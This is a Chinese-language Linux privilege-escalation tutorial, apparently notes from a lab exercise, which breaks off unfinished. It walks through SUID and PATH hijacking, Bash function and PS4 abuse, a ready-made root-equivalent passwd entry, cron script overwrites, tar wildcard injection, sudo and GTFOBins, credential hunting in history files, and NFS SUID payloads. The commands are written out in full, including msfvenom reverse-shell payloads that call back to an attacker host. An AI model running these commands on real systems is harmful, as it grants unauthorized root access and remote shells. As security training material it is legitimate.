LinEnum 是一个简单的 bash 脚本,它执行与权限提升相关的常见命令,从而节省时间并允许投入更多精力来获取 root 权限
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
查找和利用 SUID 文件
Linux 提权利用的第一步是检查设置了 SUID/GUID 位的文件。这意味着可以使用文件所有者/组的权限运行一个或多个文件。在这种情况下,作为超级用户。我们可以利用它来获得具有这些权限的 shell!
什么是 SUID 二进制文件?
在Linux 中,一切都是一个文件,包括具有允许或限制三种操作(即读/写/执行)权限的目录和设备。因此,当您为任何文件设置权限时,您应该了解您允许或限制所有三个权限的 Linux 用户。RWX=读写执行。每个用户可以设置权限的最大位数是7位,是读(4)写(2)和执行(1)操作的组合。例如,如果您使用"chmod" 755设置权限
但是当给每个用户特殊权限时,它就变成了 SUID 或 SGID
SUID:rws-rwx-rwx GUID:rwx-rws-rwx
查找 SUID 二进制文件
由于我们的 LinEnum 扫描,我们已经知道系统上有支持 SUID 的文件。但是,如果我们想手动执行此操作,我们可以使用以下命令:
find / -perm -u=s -type f 2>/dev/null
find / -type f -a ( -perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null
例如查找到/usr/sbin/exim-4.84-3 然后既可以搜索他的历史漏洞运行exp进行提权
我们查看找到的程序
打印出来发现执行了service apache2 start
【首先去环境变量找service】那我们就可以利用环境变量来提权,我们准备一个service.c 内容如下 编译一下
将当前目录(或新服务可执行文件所在的位置)添加到 PATH 变量中,然后运行 suid-env 可执行文件以获得 root shell:
PATH=.:$PATH /usr/local/bin/suid-env
如图他是通过服务可执行的路径来启动apache2服务的
然而在 Bash 版本 <4.2-048 中,可以使用类似于文件路径的名称定义 shell 函数,然后导出这些函数,以便使用它们而不是该文件路径上的任何实际可执行文件。
创建一个名为“ /usr/sbin/service ”的 Bash 函数,该函数执行一个新的 Bash shell(使用 -p 以便保留权限)并导出该函数:[导出函数相当于直接使用这个函数了]
function /usr/sbin/service { /bin/bash -p; } export -f /usr/sbin/service
运行suid-env2可执行文件以获得 root shell:
注意:这不适用于 Bash 4.4 及更高版本。
在调试模式下,Bash 使用环境变量PS4来显示调试语句的额外提示。
运行/usr/local/bin/suid-env2
环境同上
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
使用 -p 运行 /tmp/rootbash 可执行文件以获得以 root 权限运行的 shell:
/tmp/rootbash -p
生成密码哈希
利用新创建的用户和root账户组合
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
什么是Crontab
Cron 守护进程是一个长时间运行的进程,它在特定的日期和时间执行命令。您可以使用它来安排活动,作为一次性事件或重复性任务。您可以创建一个 crontab 文件,其中包含 Cron 守护程序要执行的命令和指令。
我们可以使用命令“cat /etc/crontab”来查看调度了哪些cron作业。只要有机会,您就应该始终手动检查这一点,尤其是在 LinEnum 或类似脚本未找到任何内容的情况下。
我们如何利用这一点?
如果一个计划归root所有,意味他将以root权限运行,我们如果可以写入此文件,然后创建一个命令。该命令返回一个shell即可以root身份运行。
msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R
有效负载替换
echo [MSFVENOM OUTPUT] > autoscript.sh
查看系统范围crontab的内容:
cat /etc/crontab
那我们就可以在/home/user创建一个名为overwrite.sh
#!/bin/bash cp /bin/bash /tmp/rootbash chmod +xs /tmp/rootbash
确保文件可以执行
chmod +x /home/user/overwrite.sh
等待 cron 作业运行(不应超过一分钟)。 使用 -p 运行 /tmp/rootbash 命令以获得以 root 权限运行的 shell:/tmp/rootbash -p
我们查看其他的脚本
发现tar * 查看https://gtfobins.github.io/gtfobins/tar/
tar 具有命令行选项可让您将其他命令作为检查点功能的一部分运行。
在 Kali 机器上使用 msfvenom 生成反向 shell ELF 二进制文件。相应地更新 LHOST IP 地址:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=port -f elf -o shell.elf
将shell穿到/home/user下确保文件是可执行的:
chmod +x /home/user/shell.elf
在/home/user下创建这两个文件夹
touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf
当 cron 作业中的 tar 命令运行时,通配符 (*) 将扩展以包含这些文件。由于它们的文件名是有效的 tar 命令行选项,tar 将识别它们并将它们视为命令行选项而不是文件名。
在你的机器开启监听即可获取shell
创建一个脚本
#include<stdio.h> #include<unistd.h> #include<sys/types.h> int main() { setuid(geteuid()); system("ps"); return 0; }
并给他S权限
gcc 1.c -o shell chmod u+s shell ls -alh shell //查看权限
然后在其他用户上切换到/tmp[权限较大]
echo "/bin/bash" > ps chmod +x ps
添加变量
export PATH=/tmp:$PATH
变量都是从左到右执行的,所有/tmp在前面了
回到shell文件所在目录直接执行就可以提权成root权限了
漏洞完成之后你可以退出root使用。将 PATH 变量重置为默认值
export PATH=删除/tmp:$PATH 之后的内容
列出sudo允许你的用户运行的程序
sudo -l
访问 GTFOBins ( https://gtfobins.github.io ) 并搜索一些程序名称。如果程序以“sudo”作为函数列出,您可以使用它来提升权限,通常是通过转义序列。
如果用户不小心在命令行而不是在密码提示中输入了他们的密码,它可能会被记录在历史文件中。
查看用户主目录中所有隐藏历史文件的内容:
cat ~/.*history
请注意,用户在某个时候尝试使用“root”用户名和通过命令行提交的密码连接到 MySQL 服务器。注意 -p 选项和密码之间没有空格!
查看一些配置文件,可能发现一些有用的
有时用户会备份重要文件,但无法使用正确的权限保护它们。
在系统根目录中查找隐藏文件和目录:
ls -la /
可能会发现.ssh。查看目录内容:
ls -l /.ssh
通过 NFS 创建的文件继承远程
检查 Debian VM 上的 NFS 共享配置:
cat /etc/exports
在我们的kali下,以root方式运行
sudo su
使用 Kali 的 root 用户,在 Kali 机器上创建一个挂载点并挂载/tmp :
mkdir /tmp/nfs mount -o rw,vers=2 IP:/tmp /tmp/nfs
仍然使用 Kali 的 root 用户,使用msfvenom生成负载
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
使用 Kali 的 root 用户,使文件可执行并设置 SUID 权限:
chmod +xs /tmp/nfs/shell.elf
以低权限用户帐户执行该文件以获得 root shell:
未完,后续补充........